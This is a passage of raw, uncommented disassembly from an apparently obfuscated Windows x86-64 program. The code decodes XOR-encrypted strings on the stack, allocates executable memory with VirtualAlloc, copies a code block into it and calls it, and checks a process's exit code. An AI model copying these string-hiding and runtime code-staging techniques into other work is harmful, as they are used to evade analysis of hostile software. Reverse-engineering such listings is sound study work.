mov qword [rcx], rax
mov ebx, esi
mov dword [rsp + 0x178], ebx
nop dword [rax]
cmp byte [0x1402940d1], 0
je 0x140235bbf
test ebx, ebx
je 0x140233ebd
cmp ebx, 0x1f4
jle 0x140233faa
mov eax, dword [0x14027dc4c]
mov dword [rsp + 0xf8], eax
movzx ecx, word [0x14027dc50]
mov word [rsp + 0xfc], cx
movzx eax, byte [0x14027dc52]
mov byte [rsp + 0xf8], 0x79
xor byte [rsp + 0xf9], 0x42
xor byte [rsp + 0xfa], 0x44
xor byte [rsp + 0xfb], 0x46
xor cl, 0x48
mov byte [rsp + 0xfc], cl
xor byte [rsp + 0xfd], 0x4a
xor al, 0x4c
mov byte [rsp + 0xfe], al
lea rax, [rsp + 0xf8]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140233f30
lea rdx, [rsp + 0xf8]
lea rcx, [0x140291d50]
call fcn.140248d40
lea rdx, [rsp + 0xdd0]
cmp qword [rsp + 0xde8], 0xf
cmova rdx, qword [rsp + 0xdd0]
lea rcx, [0x140291cf0]
cmp qword [0x140291d08], 0xf
cmova rcx, qword [0x140291cf0]
mov r8, qword [0x140291d00]
cmp r8, qword [rsp + 0xde0]
jne 0x140235764
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140235764
mov ebx, esi
mov dword [rsp + 0x178], ebx
lea rcx, [rsp + 0xdf8]
cmp qword [rsp + 0xe10], 0xf
cmova rcx, qword [rsp + 0xdf8]
mov r8, qword [rsp + 0xe08]
cmp r8, 7
jne 0x140234e64
lea rdx, str.enabled
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140234e64
movsd xmm0, qword [0x14027ccb0]
movsd qword [rsp + 0x1c0], xmm0
mov ecx, dword [0x14027ccb8]
mov dword [rsp + 0x1c8], ecx
cmp byte [0x14027ccbb], al
je 0x140234295
mov r9d, esi
cmp r12d, 2
jl 0x140234243
movdqa xmm3, xmm9
punpckldq xmm3, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm2, xmm3
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm8
pmuldq xmm1, xmm8
shufps xmm3, xmm1, 0xdd
psrad xmm3, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm13
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
mov eax, dword [rsp + 0xd70]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14027ccb0]
xorps xmm2, xmm0
movd dword [rsp + 0x1c0], xmm2
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x1c4]
xorps xmm2, xmm1
movd dword [rsp + 0x1c4], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0x1c8], xmm2
jmp 0x140234295
lea r10, [rsp + 0x1c0]
nop dword [rax + rax]
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xc
jl 0x140234250
xorps xmm0, xmm0
movups xmmword [rsp + 0x658], xmm0
mov qword [rsp + 0x668], rsi
mov qword [rsp + 0x670], rsi
lea rax, [rsp + 0x1c0]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1402342c0
lea rdx, [rsp + 0x1c0]
lea rcx, [rsp + 0x658]
call fcn.14020c680
nop
lea rcx, [rsp + 0x658]
call fcn.1401fc2b0
mov qword [rsp + 0x518], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xd50], xmm0
lea rax, [rsp + 0x62c8]
mov qword [rsp + 0xd58], r13
mov qword [rsp + 0xd60], rax
mov rdi, qword [rax]
xor rdi, r13
mov qword [rsp + 0xd50], rdi
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402960e0]
test rax, rax
je 0x140234369
mov rdx, rsi
nop word [rax + rax]
cmp rax, r15
je 0x140234358
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2960e0]
test rax, rax
jne 0x140234340
jmp 0x140234369
mov r8, qword [r14 + rdx*8 + 0x295dc0]
test r8, r8
jne 0x14023444f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140234392
mov r8, rsi
jmp 0x14023442e
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1402343a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140297720]
mov qword [r14 + rax*8 + 0x2960e0], r15
mov qword [r14 + rax*8 + 0x295dc0], r8
inc rax
mov qword [0x140297720], rax
lea rdx, [rsp + 0x518]
lea rcx, [fcn.1401fb240]
call r8
mov dword [rsp + 0x180], eax
xor rdi, r13
lea rax, [rsp + 0x62c8]
mov qword [rax], rdi
lea rcx, [rsp + 0x658]
call fcn.140248aa0
movups xmm4, xmmword [0x14027d7b0]
movups xmmword [rsp + 0x2d0], xmm4
movzx eax, word [0x14027d7c0]
mov word [rsp + 0x2e0], ax
cmp byte [0x14027d7c1], 0
je 0x1402347fc
mov r9d, esi
cmp r12d, 2
jl 0x14023479b
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
mov ecx, dword [rsp + 0xd70]
movd xmm0, ecx
paddb xmm2, xmm0
movd eax, xmm4
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x2d0], xmm2
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x2d4]
xorps xmm2, xmm1
movd dword [rsp + 0x2d4], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x2d8]
xorps xmm2, xmm1
movd dword [rsp + 0x2d8], xmm2
movdqa xmm3, xmm15
punpckldq xmm3, xmm15
movdqa xmm1, xmm15
punpckhdq xmm1, xmm15
movdqa xmm2, xmm3
pmuldq xmm2, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm8
pmuldq xmm1, xmm8
shufps xmm3, xmm1, 0xdd
psrad xmm3, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm13
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
movdqa xmm1, xmm15
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x2dc]
xorps xmm2, xmm1
movd dword [rsp + 0x2dc], xmm2
mov r9d, 0x10
mov eax, r9d
lea r10, [rsp + 0x2d0]
add r10, rax
nop dword [rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x12
jl 0x1402347b0
xorps xmm0, xmm0
movups xmmword [rsp + 0x678], xmm0
mov qword [rsp + 0x688], rsi
mov qword [rsp + 0x690], rsi
lea rax, [rsp + 0x2d0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140234826
lea rdx, [rsp + 0x2d0]
lea rcx, [rsp + 0x678]
call fcn.14020c680
nop
lea rcx, [rsp + 0x678]
call fcn.1401fc2b0
mov qword [rsp + 0x558], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xdb8], xmm0
lea rax, [rsp + 0x62c8]
mov qword [rsp + 0xdc0], r13
mov qword [rsp + 0xdc8], rax
mov rdi, qword [rax]
xor rdi, r13
mov qword [rsp + 0xdb8], rdi
mov qword [rax], rsi
mov ecx, esi
mov rax, qword [0x1402960e0]
test rax, rax
je 0x1402348c9
mov rdx, rsi
cmp rax, r15
je 0x1402348b8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2960e0]
test rax, rax
jne 0x1402348a0
jmp 0x1402348c9
mov r8, qword [r14 + rdx*8 + 0x295dc0]
test r8, r8
jne 0x1402349af
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1402348f2
mov r8, rsi
jmp 0x14023498e
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140234900
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140297720]
mov qword [r14 + rax*8 + 0x2960e0], r15
mov qword [r14 + rax*8 + 0x295dc0], r8
inc rax
mov qword [0x140297720], rax
lea rdx, [rsp + 0x558]
lea rcx, [fcn.1401fb240]
call r8
mov dword [rsp + 0xd30], eax
xor rdi, r13
lea rax, [rsp + 0x62c8]
mov qword [rax], rdi
lea rcx, [rsp + 0x678]
call fcn.140248aa0
cmp dword [rsp + 0x180], 0
jne 0x1402349fb
cmp dword [rsp + 0xd30], 0
je 0x140234e64
movups xmm5, xmmword [0x14027d568]
movups xmmword [rsp + 0x410], xmm5
movups xmm0, xmmword [0x14027d578]
movups xmmword [rsp + 0x420], xmm0
movq xmm10, qword [0x14027d588]
movq qword [rsp + 0x430], xmm10
cmp r12d, 2
jl 0x140234dc8
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm9
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm9, xmm0
pshufhw xmm0, xmm9, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, xmm5
xorps xmm3, xmm1
movq qword [rsp + 0x410], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm11, xmm0
pshufhw xmm0, xmm11, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x418]
xorps xmm3, xmm1
movq qword [rsp + 0x418], xmm3
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm12
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm12, xmm0
pshufhw xmm0, xmm12, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x420]
xorps xmm3, xmm1
movq qword [rsp + 0x420], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
movdqa xmm1, xmm15
punpckhdq xmm1, xmm15
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm15, xmm0
pshufhw xmm0, xmm15, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x428]
xorps xmm3, xmm1
movq qword [rsp + 0x428], xmm3
movdqa xmm5, xmmword [0x1402805f0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, xmm10
xorps xmm3, xmm1
movq qword [rsp + 0x430], xmm3
jmp 0x140234e27
lea r10, [rsp + 0x410]
mov r9d, 0xffcb
nop word [rax + rax]
mov eax, 0x22b63cbf
mul esi
shr edx, 4
movzx eax, dx
imul r8d, eax, 0x3b
mov eax, 0x3521cfb3
mul esi
mov ecx, esi
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 6
movzx edx, cx
imul edx, r9d
sub dx, r8w
add dx, 0x20
add dx, si
add dx, dx
xor word [r10], dx
inc esi
lea r10, [r10 + 2]
cmp esi, 0x14
jl 0x140234de0
lea rdx, [rsp + 0x410]
lea rcx, [rsp + 0xa10]
call fcn.140246ea0
nop
lea rcx, [rsp + 0xa10]
call fcn.140206930
nop
lea rcx, [rsp + 0xa10]
call fcn.1402489a0
mov byte [0x1402940d1], 0
jmp 0x140235bbf
mov r8d, dword [rsp + 0x70]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
je 0x140235304
lea rdx, [rsp + 0xfcc]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x140234ea2
inc ebx
mov dword [rsp + 0x178], ebx
jmp 0x140233ea0
movups xmm5, xmmword [0x14027d568]
movups xmmword [rsp + 0x3e8], xmm5
movups xmm0, xmmword [0x14027d578]
movups xmmword [rsp + 0x3f8], xmm0
movq xmm10, qword [0x14027d588]
movq qword [rsp + 0x408], xmm10
cmp r12d, 2
jl 0x14023526f
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm9
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm9, xmm0
pshufhw xmm0, xmm9, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, xmm5
xorps xmm3, xmm1
movq qword [rsp + 0x3e8], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm11, xmm0
pshufhw xmm0, xmm11, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x3f0]
xorps xmm3, xmm1
movq qword [rsp + 0x3f0], xmm3
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm12
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm12, xmm0
pshufhw xmm0, xmm12, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x3f8]
xorps xmm3, xmm1
movq qword [rsp + 0x3f8], xmm3
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
movdqa xmm1, xmm15
punpckhdq xmm1, xmm15
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm14
movdqa xmm0, xmm15
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm15, xmm0
pshufhw xmm0, xmm15, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm6
paddw xmm3, xmm0
movq xmm1, qword [rsp + 0x400]
xorps xmm3, xmm1
movq qword [rsp + 0x400], xmm3
movdqa xmm5, xmmword [0x1402805f0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
